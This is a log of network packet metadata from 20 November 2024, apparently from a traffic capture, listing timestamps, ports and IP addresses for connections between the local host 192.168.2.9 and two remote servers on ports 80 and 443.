Nov 20, 2024 16:50:31.521342993 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.521363020 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.521409035 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.522252083 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.522368908 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.522438049 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.522438049 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.523215055 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.523329973 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.523349047 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.523427010 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.524260044 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.524308920 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.524353981 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.524353981 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.596600056 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.596626043 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.596751928 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.597098112 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.597152948 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.597290039 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.597392082 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.598155975 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.598222971 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.598263025 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.598454952 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.599061966 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.599179983 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.599199057 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.599332094 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.600085974 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.600146055 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.600152016 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.600193977 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.601017952 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.601134062 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.601180077 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.601180077 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.602027893 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.602144003 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.602195978 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.602195978 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.603022099 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.603084087 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.603104115 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.603152037 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.603952885 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.604151964 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.604201078 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.604201078 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.604965925 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.605127096 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.605185032 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.605185032 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.605963945 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.606046915 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.606093884 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.606093884 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.606923103 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.606971025 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.607016087 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.607332945 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.607959986 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.608011961 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.608046055 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.608125925 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.608891010 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.608949900 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.608990908 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.608990908 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.609884977 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.609931946 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.609976053 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.610055923 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.610934019 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.610994101 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.611167908 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.611216068 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.611860991 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.611941099 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.611982107 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.612050056 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.612970114 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.613020897 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.613167048 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.613388062 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.613833904 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.613888025 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.613907099 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.613972902 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.617391109 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.617404938 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.617507935 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.617607117 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.617624044 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.617671967 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.617671967 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.617682934 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.617687941 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.617722988 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.617722988 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.618712902 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.618726015 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.618839025 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.619627953 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.619744062 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.619824886 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.619920969 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.620654106 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.620667934 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.620722055 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.621627092 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.621706009 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.621798992 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.621937990 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.622596979 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.622668028 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.622769117 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.622978926 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.678095102 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.678215027 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.678232908 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.678278923 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.678618908 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.678714037 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.678832054 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.678880930 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.679673910 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.679728031 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.679775000 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.679775953 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.680592060 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.680645943 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.680723906 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.680807114 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.681674957 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.681744099 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.681807041 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.681895018 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.682574034 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.682657957 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.682662010 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.682769060 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.683518887 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.683631897 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.683638096 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.683691025 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.684546947 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.684653997 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.684655905 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.684765100 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.685514927 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.685614109 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.685662985 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.685662985 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.687093019 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.687100887 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.687186003 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.687532902 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.687597990 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.687604904 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.687834978 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.688453913 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.688507080 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.688546896 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.688596010 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.689466953 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.689552069 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:31.689588070 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:31.689677000 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:33.782800913 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:33.782825947 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:33.782872915 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:33.782991886 CET	49714	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:33.783020973 CET	443	49714	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:33.783080101 CET	49714	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:33.783150911 CET	49715	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:33.783162117 CET	443	49715	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:33.783201933 CET	49715	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:33.783415079 CET	49716	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:33.783479929 CET	443	49716	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:33.783530951 CET	49716	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:33.785706043 CET	49715	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:33.785722971 CET	443	49715	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:33.785840034 CET	49714	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:33.785855055 CET	443	49714	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:33.785959005 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:33.785968065 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:33.786143064 CET	49716	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:33.786169052 CET	443	49716	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:35.226073980 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:35.226272106 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:35.582748890 CET	443	49714	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:35.594733000 CET	49714	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:35.594750881 CET	443	49714	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:35.595875025 CET	443	49714	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:35.595943928 CET	49714	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:35.600075960 CET	49714	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:35.600186110 CET	443	49714	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:35.600275040 CET	49714	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:35.600282907 CET	443	49714	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:35.611783981 CET	443	49716	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:35.611944914 CET	49716	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:35.611969948 CET	443	49716	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:35.615089893 CET	443	49716	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:35.615163088 CET	49716	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:35.615598917 CET	49716	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:35.615680933 CET	443	49716	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:35.615755081 CET	49716	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:35.615761995 CET	443	49716	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:35.649313927 CET	49714	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:35.652725935 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:35.657104969 CET	49716	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:35.658962011 CET	443	49715	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:35.698016882 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:35.701951981 CET	49715	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:35.717063904 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:35.717078924 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:35.718344927 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:35.718434095 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:35.720880032 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:35.721014023 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:35.721043110 CET	49715	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:35.721050978 CET	443	49715	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:35.721158981 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:35.721167088 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:35.724776030 CET	443	49715	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:35.724848986 CET	49715	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:35.737782001 CET	49715	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:35.738004923 CET	443	49715	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:35.741499901 CET	49715	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:35.741508961 CET	443	49715	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:35.776154995 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:35.791785002 CET	49715	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:35.936244011 CET	49716	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:35.936378956 CET	443	49716	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:35.936446905 CET	49716	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:36.419744968 CET	443	49714	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.419805050 CET	443	49714	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.419840097 CET	443	49714	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.419857025 CET	49714	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:36.419884920 CET	443	49714	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.419930935 CET	49714	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:36.420640945 CET	443	49714	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.423974991 CET	443	49714	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.424031973 CET	49714	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:36.424146891 CET	49714	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:36.424160957 CET	443	49714	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.535546064 CET	443	49715	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.535702944 CET	443	49715	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.535752058 CET	49715	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:36.537950039 CET	49715	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:36.537966967 CET	443	49715	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.558593988 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.558644056 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.558677912 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.558680058 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:36.558692932 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.558734894 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:36.558743000 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.581155062 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.581201077 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:36.581212997 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.593514919 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.593574047 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:36.593588114 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.597763062 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.597810030 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:36.597819090 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.649157047 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:36.678136110 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.727982044 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:36.727993965 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.768882990 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.768992901 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:36.769021034 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.772953987 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.773005962 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:36.773015022 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.781429052 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.781486988 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:36.781496048 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.797209978 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.797259092 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:36.797267914 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.806863070 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.806917906 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:36.806926966 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.815644979 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.815697908 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:36.815706015 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.823214054 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.823287964 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:36.823298931 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.836338043 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.836388111 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:36.836395979 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.849773884 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.849827051 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:36.849853992 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.862307072 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.862360001 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:36.862380981 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.871937990 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.872013092 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:36.872034073 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.889451027 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.889514923 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:36.889540911 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.931556940 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:36.979248047 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.981442928 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.981506109 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:36.981535912 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.985955000 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.986012936 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:36.986032009 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.990673065 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.990825891 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:36.990845919 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.995188951 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:36.995244980 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:36.995265961 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.003968954 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.004004002 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.004046917 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:37.004076958 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.004123926 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:37.006761074 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.010373116 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.010448933 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.010447979 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:37.010478020 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.010524035 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:37.046552896 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.047861099 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.047898054 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.047919989 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:37.047951937 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.047998905 CET	49713	443	192.168.2.9	142.250.181.68
